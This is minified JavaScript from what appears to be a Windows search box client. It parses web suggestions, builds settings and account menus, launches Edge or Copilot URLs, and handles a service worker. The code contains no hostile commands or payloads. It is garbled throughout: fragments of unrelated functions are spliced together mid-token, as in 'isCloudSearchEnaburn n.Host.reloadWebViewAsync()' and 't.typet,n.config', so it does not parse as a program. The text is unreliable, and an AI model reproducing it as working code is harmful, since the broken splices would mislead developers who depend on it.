v=u.Attributes,p=v.stype;if(n.config.enableMultiEntityQF&&v.isAnswer=="1"&&v.asbtype==="HS"&&(p=v.asbtype),p=="CS")return null;if(n.config.enableWebSynonymForNames){if(v.appId||v.settingId||v.appDisplayName)return null}else if(v.appId||v.settingId)return null;let w;w=v.isAnswer==="1"?v.url||v.vertical?n.verticalToHandoffType(v.vertical):10:v.taskFrame?v.actionUri.startsWith("action://FindMyStuff/")?4:5:n.config.enableWinStoreAppPreview&&p=="SPP"?3:p=="MD"||p=="ML"||n.config.expandUrlCoverage&&p=="UAS"?1:n.verticalToHandoffType(v.vertical);let y=n.createSuggestion(t,u.Text,null,n.getIconFromOnlineResponse(u),p,v.query,n.InstrumentedItem.createInstrumentedItem(e,p),w,e,!1);if(y.l1rank=a,y.primaryMetadata=u.SecondaryText,this.setRankingSignals(y,u),y.autoOpenPreviewPaneWhenOnTopHit=v.openPP==="1",v.isAnswer==="1"){if(!v.url&&!n.isCortanaEnabledCache)return null;y.signals=u.Signals;h(y,t,e,u.InstantAnswer,v.additionalInfoText,v.secondaryIconUrl,v.url,v.segments,v.taskFrame,s,this._navigationHelper);v.noHeightRestriction==="1"&&y.classNames.push("noHeightRestriction");y.reactKey=p+v.url;typeof v.url=="string"&&v.url.indexOf("filters")>0&&(y.filters=o(v.url))}else if(v.taskFrame){if(!n.isCortanaEnabledCache||!i(y,t,e,v.actionUri,v.taskFrame,parseFloat(v.confidence),parseInt(v.source)))return null;y.reactKey=p+v.taskFrame}else if(n.config.enableWinStoreAppPreview&&y.type=="SPP")this.setMSStoreSuggestionProperties(y,v);else{if(!v.url)return null;if(y.autoOpenPreviewPaneWhenOnTopHit=v.openPP==="1",y.reactKey=p+t.queryToFetch+v.url,typeof v.url=="string"&&v.url.indexOf("filters")>0&&(y.filters=o(v.url)),y.type=="MD"||y.type=="ML"||n.config.expandUrlCoverage&&y.type=="UAS"){let i=n.prettyPrintUrl(v.query,t.queryToFetch,!0);i!=y.query&&(y.query=i,y.text=t.queryToFetch?HitHighlightingParser.addMarkers(i,t.queryToFetch):i);y.primaryMetadata&&!y.primaryMetadata.includes(HitHighlightingParser.startMarker)&&(y.primaryMetadata=HitHighlightingParser.addMarkers(y.primaryMetadata,t.queryToFetch));let r=n.config.expandUrlCoverage&&y.type=="UAS"?v.query:v.url;f(y,t,e,r,this._navigationHelper)}else{if(n.queryLooksLikeUrl(y.query))return null;r(y,t,e,v.u)?o.then(async()=>{await n.Host.launchUrlWithDefaultBrowserAsync(r),await i(100)}):o.then(async()=>{await n.Host.launchUrlWithEdgeProtocolAsync(r,{campaign:n.config.moreEdgeProtocolOCID}),await i(100)})}}o=e?n.config.enableLaunchWithProfile&&i.handoffType==1?n.shouldLaunchSuggWithDefaultBrowser()?o.then(()=>n.Host.launchUrlWithDefaultBrowserAsync(r)):o.then(()=>n.Host.launchUrlWithEdgeProtocolAsync(r,{})):o.then(()=>{n.Host.launchUriAsync(r)}):n.shouldLaunchSuggWithDefaultBrowser()?o.then(()=>{n.Host.launchUrlWithDefaultBrowserAsync(r,f,u)}):o.then(()=>{n.Host.launchSearchAsync(i.query,r,i.useRaf,f,u)});s.resolve(!0)}}class s{constructor(t,i,r,u){this._navigationHelper=t;this._temporaryMessageHandler=i;this._accessTokenManager=r;this._previousKeystrokeCache=u;this.removeBingHistorySuggestionCallBack=t=>{this._accessTokenManager?this._accessTokenManager.getAccount(0,n.getBingResourceOrScope(0),!1,!0,i=>{if(i&&i.Token){let r={};(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?r["X-Search-MsaV2Token"]=i.Token:r["X-Search-RPSToken"]=i.Token;this.sendRemoveBingHistorySuggestionRequest(t,r)}},undefined):this.sendRemoveBingHistorySuggestionRequest(t,null)}}parse(n,t,i,r,u,f,e){this.parseOnlineSuggestions(n,t,r,u,f,e,i)}parseOnlineSuggestions(t,i,r,u,f,e,o){var h,c;if(!r){n.isDataSourceEnabled("Web",t)&&f("Web",[],null);n.isDataSourceEnabled("OSTMA",t)&&f("OSTMA",[],null);n.isDataSourceEnabled("OSTMAN",t)&&f("OSTMAN",[],null);n.isDataSourceEnabled("QS",t)&&f("QS",[],null);return}r&&r.ELToken&&(n.Host.setElToken(r.ELToken),r.LC==1&&n.Host.sendElToken());let l=[],p=[],w=[],b=[],k=[],a=[],d=[],v=n.isDataSourceEnabled("Web",t),s=1,y=null;if(n.config.expandUrlCoverage===1&&n.config.maxUasSuggestionsCount>0&&r.Suggestions){const t=[];for(let n=0;n<r.Suggestions.length;n++)r.Suggestions[n].Attributes.stype==="UAS"&&t.push({query:r.Suggestions[n].Attributes.query,relevance:(c=(h=r.SuggestionRelevance)===null||h===void 0?void 0:h[n])!==null&&c!==void 0?c:0});t.sort((n,t)=>t.relevance-n.relevance);y=new Set(t.slice(n.config.maxUasSuggestionsCount).map(n=>n.query))}if(n.safeExecute(()=>{var u;if(r.Suggestions)for(let f of r.Suggestions){let e=f.Attributes;if((n.config.expandUrlCoverage!==1||!y||e.stype!=="UAS"||!y.has(e.query))&&(n.config.expandUrlCoverage!==2||e.stype!=="UAS"||!(n.config.isDMARegion||n.isThirdPartySearchAllowed()))){if(n.config.enableWebSynonymForNames&&e.stype==="QP"){let n=(u=e.appDisplayName)===null||u===void 0?void 0:u.toLowerCase();if(n){b.push(f);k.push(n);continue}}let h=e.appId;if(h){p.push(f);h.split(";").forEach(t=>{n.contains(a,t)||a.push(t)});continue}let c=e.settingId;if(c){w.push(f);d.push(c);continue}if(v){let u=n.safeExecute(()=>this.parseOnlineSuggestion(t,f,i,r.Resources,o,s),"parseOnlineSuggestion");u&&(l.push(u),s+=1)}}}if(v&&n.config.enableWinStoreAppPreview&&r.SuggestionsExt&&r.SuggestionsExt.Results&&!n.config.isDMARegion&&!(n.isMsbEnterprise()||n.AccessTokenManager.getWindowsAccountType()==1))for(let u of r.SuggestionsExt.Results){let f=n.safeExecute(()=>this.parseOnlineSuggestion(t,u,i,r.Resources,o,s),"parseOnlineSuggestion");f&&(l.push(f),s+=1)}},"parseOnlineSuggestions"),v){let i=null,u=null;if(r.RankingSignals&&(i=n.safeExecute(()=>n.parseWebEngagementSignals(r.RankingSignals),"parseWebEngagementSignals"),n.isL2(t)||(u=n.safeExecute(()=>n.parseWebSuppressionSignals(r.RankingSignals,t),"parseWebSuppressionSignals"))),n.config.asCsynScoreRank==2&&r.SuggestionRelevance&&r.Suggestions&&r.SuggestionRelevance.length==r.Suggestions.length){n.isNullOrUndefined(i)&&(i={});for(let n=0;n<r.Suggestions.length;n++){let f=HitHighlightingParser.removeMarkers(r.Suggestions[n].Text),e=r.Suggestions[n].Attributes.stype,t=f+"\t"+e,u=r.SuggestionRelevance[n];i[t]?i[t].SuggestionRelevance=u:i[t]={SuggestionRelevance:u}}}this._previousKeystrokeCache&&this._previousKeystrokeCache.updateWebSignalsData(t.queryToFetch,i);let e={rankingSignals:r.RankingSignals,engagementSignals:i,suppressedGroups:u,webTopResultRoutingType:r.PrefixRoutingType,res,f,t.handoffType,l),t.useRaf,l,c);t.narratorText=n.getNarratorText(t);t.getMruData=()=>n.getMruUrlSuggestionData(t,f);n.config.enableHistoryExtraVerb&&i.isSearchHomeZI&&n.setExtraVerbs(t,()=>{let i=[{verb:"ManageSearchHistory",displayName:n.Host.getLocString("ManageSearchHistory"),executeSync:()=>n.Host.launchPrivacyPortalAsync(),icon:{content:"&#xE81C",type:2}}];return n.config.removeSuggUrl&&i.unshift({verb:"RemoveFromWebHistory",displayName:n.Host.getLocString("RemoveFromWebHistory"),executeSync:()=>s(t.text),icon:{content:"&#xE711",type:2}}),i},!0)}function f(t,i,r,f,e){t.tooltip=i.isSearchHomeZI?t.text+"\n\n"+f:f+"\n\n"+HitHighlightingParser.removeMarkers(t.primaryMetadata);n.isValidIcon(t.icon)||(t.getIcon=n.Host.getEdgeIcon);n.config.openInStringResultsSubtext&&(t.primaryMetadata=n.isThirdPartySearchAllowed()?n.Host.getLocString("OpenInBrowser"):n.Host.getLocString("OpenIn",n.Host.getLocString("MicrosoftEdge")),t.secondaryMetadata=f);n.config.urlandRatingSubtextBestMatch&&(t.primaryMetadata=f);t.url=f;n.isSupportWebResultsInAllScopeInDMAEnabled()?t.click=()=>{var i;return n.Host.launchThirdPartyUriWithProtocolAsync(f,(i=t.sourceApp)===null||i===void 0?void 0:i.protocol)}:n.config.enableQFExtraNTPTab||n.config.enableQFExtraHPTab?u(e,t,f,!1,null,!0):t.click=n.shouldLaunchSuggWithDefaultBrowser()?n.config.enableLaunchWithProfile&&t.handoffType==1?()=>n.Host.launchUrlWithDefaultBrowserAsync(f):()=>n.Host.launchUriAsync(f):n.config.enableLaunchWithProfile&&t.handoffType==1?()=>n.Host.launchUrlWithEdgeProtocolAsync(f,{}):()=>n.Host.launchUriAsync(f);t.narratorText=n.getNarratorText(t,n.Host.getLocString("DirectNavSuggestion"));t.getMruData=()=>n.getMruUrlSuggestionData(t,f)}function e(t,i){(!n.isValidIcon(t.icon)||n.config.coherentWebSearchWithEdgeIcon||n.config.coherentWebSearchWithChangedGlyph||n.config.coherentWebSearchWithFallbackGlyph)&&(t.icon=t.type=="HS"?{content:"&#xE81C",type:2}:t.handoffType===13?{content:"&#xEB9F",type:2}:t.handoffType===14?{content:"&#xE714",type:1}:n.getSearchSuggestionIcon(t.query));n.config.openInStringResultsSubtext&&(t.primaryMetadata=n.isThirdPartySearchAllowed()?n.Host.getLocString("OpenInBrowser"):n.Host.getLocString("OpenIn",n.Host.getLocString("MicrosoftEdge")));t.primaryMetadata||t.secondaryIcon||t.htmlContent||t.additionalInfoText||(t.handoffType===13?t.primaryMetadata=n.Host.getLocString("SearchForWebImages"):t.handoffType===14?t.primaryMetadata=n.Host.getLocString("SearchForWebVideos"):(t.primaryMetadata=n.getWebSuggestionAnnotation(n.msbEnabledForQuery(i)),t.itemType=2));n.config.enableWSStaticSecondaryText&&t.handoffType===0&&n.config.wsStaticSecondaryText&&(t.primaryMetadata=n.Host.getLocString(n.config.wsStaticSecondaryText))}function c(t){t.type=="MD"&&l(t)?(t.primaryMetadata=n.Host.getLocString("DirectNavSuggestion"),n.isThirdPartySearchAllowed()?(t.icon={type:1,content:"&#xE774"},t.getIcon=null,t.click=()=>n.Host.launchUrlWithDefaultBrowserAsync(t.url)):t.click=()=>n.Host.launchUrlWithEdgeProtocolAsync(t.url,{})):(t.icon={content:"&#xE901",type:2},t.primaryMetadata=n.Host.getLocString("AskCopilot"),t.click=()=>n.Host.launchSuggestionUriWithCopilotProtocalAsync(n.encodeQueryParameter(t.query)+"&chatmode=search&form=COTBLF"));t.narratorText=n.getNarratorText(t)}function o(n){if(typeof n=="string"&&n.indexOf("filters")>0){let t=n.substring(n.indexOf("filters"));return t.indexOf("&")>0&&(t=t.substring(0,t.indexOf("&"))),t}return null}function l(n){return typeof n=="object"&&n!==null&&typeof n.url=="string"}function u(t,i,r,u,f,e=false){i.click=()=>{let s=Promise.withResolvers(),o=s.promise;if(n.Host.getDefaultBrowser()===4||!n.isThirdPartySearchAllowed()){const i=n=>new Promise(t=>setTimeout(t,n));if(n.config.enableQFExtraNTPTab)o=o.then(async()=>{await n.Host.launchUrlWithEdgeProtocolAsync("",{}),await i(100)});else if(n.config.enableQFExtraHPTab){let r=location.origin;n.config.wsbQFPartnerCode&&(r=n.setUrlParameter(r,"PC",n.config.wsbQFPartnerCode));r=t.enrichUrlWithMuidInfo(r);r=t.enrichUrlWithMarketInfo(r);r=t.enrichUrlWithCvid(r);o=n.shouldLaunchSuggWithDefaultBrowser(){if(i.actionUri=f,i.confidence=o,i.source=s,i.handoffType==4){let u=i.query.toLowerCase()==r.queryToFetch.toLowerCase();i.updateFromQuery=t=>u?(i.query=t.queryToFetch,i.text=HitHighlightingParser.addMarkers(i.query,t.queryToFetch),i.narratorText=n.getNarratorText(i),!0):!1;let t=n.parseTaskFrame(e);if(t)i.isReformulation=!0,i.click=()=>n.safeSetTimeout(()=>n.Host.reformulate(i.query,t),0,"Cat1Click-Reformulation");else return!1}else i.classNames.push("action"),i.click=()=>n.Host.launchCat1Async(i.query,f,e);return i.icon={type:3},t(i,r),i.narratorText=n.getNarratorText(i),i.type!="CSK"&&(i.getMruData=()=>Object.assign(Object.assign({},n.getMruWebSuggestionData(i)),{annotation:i.primaryMetadata,actionUri:f,taskFrame:e,confidence:o,source:s})),!0}function h(i,r,f,o,s,h,c,l,a,v,y){var p,w,b;if(i.isAnswer=!0,i.htmlContent=o&&o.Content?o.Content.HTML:null,i.segments=l,i.htmlContent){let n=JsonInject.GetResourceKeys([o]);n&&(i.executeScript=()=>JsonInject.WriteAfterContentResources(JsonInject.FilterResources(v,n)))}if(n.config.coherentWebSearchWithChangedGlyph||n.config.coherentWebSearchWithEdgeIcon||h&&(i.secondaryIcon=(n.config.suppressASEntity===2||n.config.suppressASEntity===3)&&((p=n.Host.getNormalizedWindowsInstalledAppNames())===null||p===void 0?void 0:p.has((b=(w=HitHighlightingParser.removeMarkers(i.text))===null||w===void 0?void 0:w.trim())===null||b===void 0?void 0:b.toLowerCase()))?undefined:{content:h,type:0}),i.text.includes(HitHighlightingParser.startMarker)||(i.text=HitHighlightingParser.addMarkers(i.text,r.queryToFetch)),i.htmlContent||s&&(i.primaryMetadata=s,i.additionalInfoText=" - "+s),i.handoffType==10)i.classNames.push("action"),t(i,r),i.icon={type:3},i.click=()=>n.Host.launchCat2or3aAsync(i.query,a),i.allowedInGroups=!i.htmlContent;else{if(e(i,r),n.config.enableQFExtraNTPTab||n.config.enableQFExtraHPTab){let n=null,t=!1;i.type=="HS"?n=r.isSearchHomeZI?"WSSHRH":"WSQFSH":i.subType=="MRUHS"?n="WSQFLH":t=!0;let f=y.getSearchUrl(r.fullPartialQuery,i.query,i.type,c,null,n);u(y,i,f,t,null,!1)}else if(i.type=="HS"){let t=r.isSearchHomeZI?"WSSHRH":"WSQFSH";i.click=n.shouldLaunchSuggWithDefaultBrowser()?()=>n.Host.launchUrlWithDefaultBrowserAsync(y.getSearchUrl(r.fullPartialQuery,i.query,i.type,c,null,t)):()=>n.Host.launchSearchAsync(i.query,y.getSearchUrl(r.fullPartialQuery,i.query,i.type,c,null,t),!1)}else i.click=i.subType=="MRUHS"?n.shouldLaunchSuggWithDefaultBrowser()?()=>n.Host.launchUrlWithDefaultBrowserAsync(y.getSearchUrl(r.fullPartialQuery,i.query,i.type,c,null,"WSQFLH")):()=>n.Host.launchSearchAsync(i.query,y.getSearchUrl(r.fullPartialQuery,i.query,i.type,c,null,"WSQFLH"),!1):n.shouldLaunchSuggWithDefaultBrowser()?()=>n.Host.launchUrlWithDefaultBrowserAsync(y.getSearchUrl(r.fullPartialQuery,i.query,i.type,c),null,!0):()=>n.Host.launchSearchAsync(i.query,y.getSearchUrl(r.fullPartialQuery,i.query,i.type,c),!1,null,!0);i.allowedInGroups=i.secondaryIcon?!!i.additionalInfoText:!i.htmlContent;i.getMruData=()=>n.getMruUrlSuggestionData(i,c)}i.narratorText=n.getNarratorText(i)}function r(t,i,r,f,o,s,h,c){e(t,i);i.queryToFetch||(t.text=HitHighlightingParser.addMarkers(t.text));let l;if(i.isSearchHomeZI?(l=h?"WSHBSH":"WSSHRH",n.shouldSHSuggToBingChat(t.handoffType,t.query)&&(f=n.replaceSearchWithChatPath(n.appendBingChatParams(f!==null&&f!==void 0?f:`/search?q=${n.encodeQueryParameter(t.query)}`)))):n.shouldQFSuggToBingChat(t.handoffType,t.query,t.type)&&(f=n.replaceSearchWithChatPath(n.appendBingChatParams(f!==null&&f!==void 0?f:`/search?q=${n.encodeQueryParameter(t.query)}`)),n.setSearchSuggestionChatIcon(t),l="WSBQFC"),t.subType!="MRUHS"||i.isSearchHomeZI||(l="WSQFLH"),t.type!="HS"||i.isSearchHomeZI||(l="WSQFSH"),n.config.enableQFExtraNTPTab||n.config.enableQFExtraHPTab){let n=o.getSearchUrl(i.fullPartialQuery,t.query,t.type,f,t.handoffType,l);u(o,t,n,c,l,!1)}else t.click=n.shouldLaunchSuggWithDefaultBrowser()?()=>n.Host.launchUrlWithDefaultBrowserAsync(o.getSearchUrl(i.fullPartialQuery,t.query,t.type,f,t.handoffType,l),l,c):()=>n.Host.launchSearchAsync(t.query,o.getSearchUrl(i.fullPartialQuery,t.query,t.typet,n.config.userProfileButtonEnabled)),n.config.wsbSettingsIconEntryPoint||u.push(this.createAdvancedOption("OMSS",t,null,null,["SearchSettings"],()=>n.config.controlPanelSearchSettings?n.Host.launchSearchPermissions():n.Host.launchSearchSettingsAsync(),2,null,{type:2,content:"&#xE713"}))),n.config.wsbSettingsIconEntryPoint||n.Host.getRationalizedSearchSettingsEnabled()||u.push(this.getIndexingOption(t,r)),n.isSearchHoverSettingsEnabled()){u.push(this.getMenuDividerOption());let n=this.createAdvancedOption("TSO",t,null,null,["ToggleSwitchOption"],null,2,null,null);n.isSelectable=!0;n.cssClass="menuItem__optionsToggle";u.push(n)}if(this.isFeedbackEnabled()&&n.isTwoPanesZIEnabled()){n.config.wsbSettingsIconEntryPoint&&n.isCloudSearchEnabledAadCache||u.push(this.getMenuDividerOption());let i=this.createAdvancedOption("FB",t,null,null,["FeedbackButtonText"],()=>{this.showFeedback(),this._menuFactory.dismiss()},2,null,{type:2,content:"&#xED15"},null);i.cssClass=this.getAdvancedOptionCssClass(2);u.push(i)}}return r==2&&this.addSinglePaneOptions(u,t),r==0&&(n.isCloudSearchEnabledAadCache||n.isCloudSearchEnabledMsaCache)&&this.addCloudSearchUpsells(u,t,r),r!=2&&n.config.troubleshootButton&&u.push(this.getMenuDividerOption()),n.config.troubleshootButton&&(r==1||r==2)&&u.push(this.createAdvancedOption("OMTS",t,null,null,["Troubleshoot"],()=>n.Host.launchUriAsync("https://aka.ms/fixsearch"),2,null,{type:2,content:"&#xE90F"},null)),(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.isTest)||!this._optionsWindow||r!=1&&r!=2||u.push(this.createAdvancedOption(null,t,null,null,["OptionsWindowButton"],()=>{this._optionsWindow.showOptionsWindow(),this._menuFactory.dismiss()},2,null,{type:2,content:"&#xE90F"},null)),r!=0&&n.TestHookUrlParameters&&n.config.debugFallbackScenario&&u.push(this.createDebugFallbackOption(t)),n.config.snrVersion&&(r==1||r==2)&&(this._shouldShowBuildNumber||n.TestHookUrlParameters||n.isMsftAccountConnected)&&u.push(this.createBuildVersionOption()),u}addCloudSearchUpsells(t,i,r){let e=n.substrateProvidersEnabled();if(r==0||r==2){let f=[n.Scope.People,n.Scope.Emails,n.Scope.Documents];if(n.config.accountVerificationInAllScope&&f.push(n.Scope.All),r!=0||this._selectedScope!=null&&n.contains(f,this._selectedScope.type))if(e){if(this._upsellGotDismissed&&this._selectedScope&&n.contains(f,this._selectedScope.type)&&r==0)return;var u=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();(u==1||u==4)&&this._verifyAccountForAADRequired&&t.push(this.getSubstrateUpsell(1,i,r));(u==2||u==4)&&this._verifyAccountForMSARequired&&t.push(this.getSubstrateUpsell(0,i,r))}else n.isBingEnabled()&&n.isCortanaEnabledCache&&t.push(this.getOneDriveUpsell(i))}}async chatButtonClicked(t,i,r,u){const o=n.SequenceNumberManager.getSequenceNumber();let e=this.getInstItem(r?"CCBL":"CCBR",o);e=n.InstrumentationHelper.createCodexClickItemProps(e,r?"ChatButtonLeft":"ChatButtonRight");n.InstrumentationHelper.instrumentItemClick(t,e,o,null,i,u);let f=r?`${location.origin}/search?form=WSBCSL&showconv=1&sendquery=1&q=${this._currentQuery.queryToFetch}`:(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())==1?n.config.codexBtnUpperRightLaunchURIAAD:n.config.codexBtnUpperRightLaunchURI,s={campaign:n.config.moreEdgeProtocolOCID,medium:r?"CodexButtonLeft":"CodexButtonRight"};f&&(n.config.enableCopilotNative&&f.includes(n.CMC_URL_PROD)&&(f=await n.getCopilotLaunchUrl(f,"WSBTRC")),n.Host.launchCodexUriAsync(f,s))}}n.HeaderFooterViewModel=b}(WSB||(WSB={})),function(n){function t(n,t){let i=HitHighlightingParser.removeMarkers(n.text);if(!i.includes(t.queryToFetch)&&i.toLowerCase().startsWith(t.queryToFetch.toLowerCase())){let r=t.queryToFetch+i.substr(t.queryToFetch.length);n.text=HitHighlightingParser.addMarkers(r,t.queryToFetch)}!n.query.includes(t.queryToFetch)&&n.query.toLowerCase().startsWith(t.queryToFetch.toLowerCase())&&(n.query=t.queryToFetch+n.query.substr(t.queryToFetch.length))}function i(i,r,u,f,e,o,sledMsaCache&&this._verifyAccountForMSARequired&&(i=this.createAdvancedOption(null,t,null,"VerifyAccountAttention",null,this.getSubstrateUpsellClickHandler(0),4),i.cssClass=s,i.icon={type:2,content:"&#xE946"},r.push(i),i=this.createAdvancedOption("OMVA",t,null,"VerifyButton",null,this.getSubstrateUpsellClickHandler(0),2),i.cssClass=h,r.push(i)),l&&n.isCloudSearchEnabledAadCache&&this._verifyAccountForAADRequired&&(i=this.createAdvancedOption(null,t,null,"VerifyAccountAttention",null,this.getSubstrateUpsellClickHandler(1),4),i.cssClass=s,i.icon={type:2,content:"&#xE946"},r.push(i),i=this.createAdvancedOption("OMVA",t,null,"VerifyButton",null,this.getSubstrateUpsellClickHandler(1),2),i.cssClass=h,r.push(i))),f.length>0){r.push(this.getMenuDividerOption());for(let u of f)i=this.createAdvancedOption("APPA",t,null,null,u.accountProviderAuthority=="consumers"?["MicrosoftAccount"]:["AadAccount"],()=>{this._accessTokenManager.setSelectedAccount(u,3),n.Host.notifyAccountSelected(u),this._menuFactory.dismiss()},0,null,{type:2,content:"&#xE77B"}),i.message=u.accountUserName,i.narratorText=i.message,i.cssClass=this.getAdvancedOptionCssClass(0),r.push(i)}return r.push(this.getMenuDividerOption()),i=this.createAdvancedOption("OMAC",t,null,null,["ManageAccounts"],()=>n.Host.launchWindowsAccountSettingsAsync(),2,null,{type:2,content:"&#xE716"}),i.cssClass=this.getAdvancedOptionCssClass(2),r.push(i),e&&(n.isCloudSearchEnabledMsaCache||!this._accessTokenManager.isMsaAvailable())||(i=this.createAdvancedOption("OMAC",t,null,null,n.isCloudSearchEnabledMsaCache?["AddMicrosoftAccount"]:["EnableMsaSearch"],n.isCloudSearchEnabledMsaCache?()=>n.Host.launchWindowsAccountSettingsAsync():()=>n.Host.launchSearchPermissions(),2,null,{type:2,content:n.isCloudSearchEnabledMsaCache?"&#xE8FA":n.getCloudWeatherFontIcon()}),i.cssClass=this.getAdvancedOptionCssClass(2),r.push(i)),o&&(n.isCloudSearchEnabledAadCache||!this._accessTokenManager.isAadAvailable())||(i=this.createAdvancedOption("OMAC",t,null,null,n.isCloudSearchEnabledAadCache?["AddAadAccount"]:["EnableAadSearch"],n.isCloudSearchEnabledAadCache?()=>n.Host.launchWindowsAccountSettingsAsync():()=>n.Host.launchSearchPermissions(),2,null,{type:2,content:n.isCloudSearchEnabledAadCache?"&#xE8FA":n.getCloudWeatherFontIcon()}),i.cssClass=this.getAdvancedOptionCssClass(2),r.push(i)),r}getMenuDividerOption(){return{id:`divider_${this.menuDividerId++}`,selected:!1,title:"",message:null,isSeparator:!0,text:"",instItem:null,click:null,layout:3,isSelectable:!1}}addSinglePaneOptions(t,r){if(!n.isThirdPartySearchAllowed()){let i=this.getScopeBarElements(),u=this.getHiddenScopeElements(i).filter(t=>t.type!=n.Scope.All).map(n=>{let t=n;return t.layout=0,t});t.push(this.createContextMenuGroup(null,r,"MoreScopesListToolTip",u));t.push(this.getMenuDividerOption())}let u=[];if(i.authenticationManager.getAllSearchWebAccountsAsync){if(!this._accessTokenManager.getSelectedAccountInfo()||!n.config.userProfileButtonEnabled){let n=this.getAccountOptions(r);u.push(this.createAdvancedOption(null,r,null,null,["ConnectedAccounts"],null,2,null,{type:2,content:"&#xE716"},n))}n.config.wsbSettingsIconEntryPoint||u.push(this.createAdvancedOption("OMSS",r,null,null,["SearchSettings"],()=>n.config.controlPanelSearchSettings?n.Host.launchSearchPermissions():n.Host.launchSearchSettingsAsync(),2,null,{type:2,content:"&#xE713"}))}else(n.isCloudSearchEnabledAadCache||n.isCloudSearchEnabledMsaCache)&&this.addCloudSearchUpsells(u,r,2);n.config.wsbSettingsIconEntryPoint||n.Host.getRationalizedSearchSettingsEnabled()||u.push(this.getIndexingOption(r,1));t.push(this.createContextMenuGroup(null,r,"OptionsButtonToolTip",u));this.isFeedbackEnabled()&&(n.config.wsbSettingsIconEntryPoint&&n.isCloudSearchEnabledAadCache||t.push(this.getMenuDividerOption()),t.push(this.createAdvancedOption("FB",r,null,null,["FeedbackButtonText"],()=>{this.showFeedback(),this._menuFactory.dismiss()},2,null,{type:2,content:"&#xED15"},null)))}getAdvancedOptions(t,r){let u=[];if(r==1){if(i.authenticationManager.getAllSearchWebAccountsAsync&&(u.push(...this.getAccountOptions(crosoftAccount"],null,4),r.message=f.accountUserName,r.narratorText=r.message,r.cssClass=this.getAdvancedOptionCssClass(4),n.isSubstrateOutlookAccountConnected||(r.cssClass+=" "+h),u.push(r),this._verifyAccountForMSARequired&&(r=this.createAdvancedOption(null,t,null,"VerifyAccountAttention",null,this.getSubstrateUpsellClickHandler(0),4),r.cssClass=s,r.icon={type:2,content:"&#xE946"},u.push(r),r=this.createAdvancedOption("OMVA",t,null,"VerifyButton",null,this.getSubstrateUpsellClickHandler(0),2),r.cssClass=o,u.push(r))),e&&n.isCloudSearchEnabledAadCache&&(r=this.createAdvancedOption(null,t,null,null,["AadAccount"],null,4),r.message=e.accountUserName,r.narratorText=r.message,r.cssClass=this.getAdvancedOptionCssClass(4),u.push(r),n.isSubstrateO365AccountConnected||(r.cssClass+=" "+h),this._verifyAccountForAADRequired&&(r=this.createAdvancedOption(null,t,null,"VerifyAccountAttention",null,this.getSubstrateUpsellClickHandler(1),4),r.cssClass=s,r.icon={type:2,content:"&#xE946"},u.push(r),r=this.createAdvancedOption("OMVA",t,null,"VerifyButton",null,this.getSubstrateUpsellClickHandler(1),2),r.cssClass=o,u.push(r))),u.push(this.getMenuDividerOption()),r=this.createAdvancedOption("OMAC",t,null,null,["ManageAccounts"],()=>n.Host.launchWindowsAccountSettingsAsync(),2,null,{type:2,content:"&#xE716"}),r.cssClass=this.getAdvancedOptionCssClass(2),u.push(r)),i&&this._accessTokenManager.getSelectedAccountInfo()||(f&&(n.isCloudSearchEnabledMsaCache||!c)||(r=this.createAdvancedOption("OMAC",t,null,null,n.isCloudSearchEnabledMsaCache?["AddMicrosoftAccount"]:["EnableMsaSearch"],n.isCloudSearchEnabledMsaCache?()=>n.Host.launchWindowsAccountSettingsAsync():()=>n.Host.launchSearchPermissions(),2,null,{type:2,content:n.isCloudSearchEnabledMsaCache?"&#xE8FA":n.getCloudWeatherFontIcon()}),r.cssClass=this.getAdvancedOptionCssClass(2),u.push(r)),e&&(n.isCloudSearchEnabledAadCache||!l)||(r=this.createAdvancedOption("OMAC",t,null,null,n.isCloudSearchEnabledAadCache?["AddAadAccount"]:["EnableAadSearch"],n.isCloudSearchEnabledAadCache?()=>n.Host.launchWindowsAccountSettingsAsync():()=>n.Host.launchSearchPermissions(),2,null,{type:2,content:n.isCloudSearchEnabledAadCache?"&#xE8FA":n.getCloudWeatherFontIcon()}),r.cssClass=this.getAdvancedOptionCssClass(2),u.push(r))),u}getUserProfileButtonData(){var r;let u,i,t=this._accessTokenManager.getSelectedAccountInfo();if(t){if(i=t.accountProviderAuthority=="consumers"?0:1,u=this._userProfilesCache[t.accountUserName],!u){const u=(r=this._substrateProfilePictureProvider)===null||r===void 0?void 0:r.getPersonDefaultIcon(t.accountUserName);return u&&(this._userProfilesCache[t.accountUserName]=u),this._accessTokenManager.getAccount(i,n.getProfilePictureResourceOrScope(i),!1,!0,n=>{var r;if(n&&n.Token){let u=(r=this._substrateProfilePictureProvider)===null||r===void 0?void 0:r.getProfilePictureIconForToken(i,n.Token,t.accountUserName);u&&u(1,n=>{n&&(this._userProfilesCache[t.accountUserName]=n,this.renderScopes())})}},undefined),u&&t.accountUserName?[u,t.accountUserName]:[null,null]}return[u,t.accountUserName]}return[null,null]}getAccountOptionsForUserProfileButton(t){if(!this._accessTokenManager)return[];let s="removeHover",h="menuItemWithButton focusable",e=this._accessTokenManager.getAllAvailableAccounts(0),o=this._accessTokenManager.getAllAvailableAccounts(1),c=this._accessTokenManager.getCachedAccountInfo(0),l=this._accessTokenManager.getCachedAccountInfo(1),f=e.concat(o);if(e.length+o.length==0)return[];let r=[],i,u=this._accessTokenManager.getSelectedAccountInfo();if(u&&(f=f.filter(n=>n.accountUserName!=u.accountUserName),n.config.useCobaltCSS||(i=this.createAdvancedOption(null,t,null,"Accounts",null,null,5),i.cssClass=this.getAdvancedOptionCssClass(5),r.push(i)),i=this.createAdvancedOption(null,t,null,null,u.accountProviderAuthority=="consumers"?["MicrosoftAccount"]:["AadAccount"],null,4,null,this._userProfilesCache[u.accountUserName]),i.message=u.accountUserName,i.narratorText=i.message,i.cssClass=this.getAdvancedOptionCssClass(4,u),i.isSelectedAccount=u&&n.config.useCobaltCSS,r.push(i),c&&n.isCloudSearchEnaburn n.Host.reloadWebViewAsync()}onGetAppHeaders(t){t&&n.Host.setCortanaHeadersCache(t)}async postMessageAsync(n,...t){(await this.getServiceWorkerRegistrationAsync()).active.postMessage(Object.assign({message:n},...t))}onMessage(n){let t=n.data;switch(t.message){case"ua":this.onUpdateReady();break;case"sahc":this.onGetAppHeaders(t.headers)}}}n.SuperFreshServiceWorker=r}(WSB||(WSB={})),function(n){let 